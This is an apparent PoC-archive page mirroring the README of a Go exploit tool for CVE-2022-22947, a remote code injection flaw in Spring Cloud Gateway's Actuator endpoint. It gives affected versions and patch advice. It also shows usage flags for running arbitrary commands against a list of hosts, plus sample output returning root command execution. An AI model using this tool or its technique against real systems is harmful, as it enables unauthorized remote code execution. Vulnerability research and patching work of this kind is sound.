Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22947 PoC — VMware Spring Cloud Gateway 代码注入漏洞

Source
Associated Vulnerability
Title:VMware Spring Cloud Gateway 代码注入漏洞 (CVE-2022-22947)
Description:In spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ , applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Readme
# 漏洞描述
Spring Cloud GateWay是Spring Cloud的⼀个全新项⽬,⽬标是取代Netflix Zuul,它基于Spring5.0+SpringBoot2.0+WebFlux(基于⾼性能的Reactor模式响应式通信框架Netty,异步⾮阻塞模型)等技术开发,性能⾼于Zuul,官⽅测试,GateWay是Zuul的1.6倍,旨在为微服务架构提供⼀种简单有效的统⼀的API路由管理⽅式。
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。
该漏洞CVSS评分:9.8,危害等级:严重

# CVE 编号
CVE-2022-22947

# 影响范围
3.1.0
3.0.0至3.0.6
3.0.0之前的版本

# 修复建议
3.1.x用户应升级到3.1.1+
3.0.x用户应升级到3.0.7+
如果不需要Actuator端点,可以通过management.endpoint.gateway.enable:false配置将其禁用
如果需要Actuator端点,则应使用Spring Security对其进行保护

# 检测介绍
该脚本通过golang完成并且编译windows运行脚本

# 使用方法
  -cmd string
  执行命令 (default "id")
  -host string
  待检测地址或者存放文件路径 (default "http://127.0.0.1:80")

  ![image](https://github.com/22ke/CVE-2022-22947/blob/master/pic/usage.jpg)

如:
`./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"`


# 结果展示
```
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"

result:  http://127.0.0.1:10089  :  {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089
```

# 感谢
https://nosec.org/home/detail/4971.html
https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947
File Snapshot

[4.0K] /data/pocs/11f4d0a58e8ac537611354774d8282e0632297f1 ├── [5.9M] cve_2022_22947.exe ├── [ 47] go.mod ├── [2.7K] main.go ├── [4.0K] pic │   └── [ 25K] usage.jpg └── [2.0K] README.md 1 directory, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →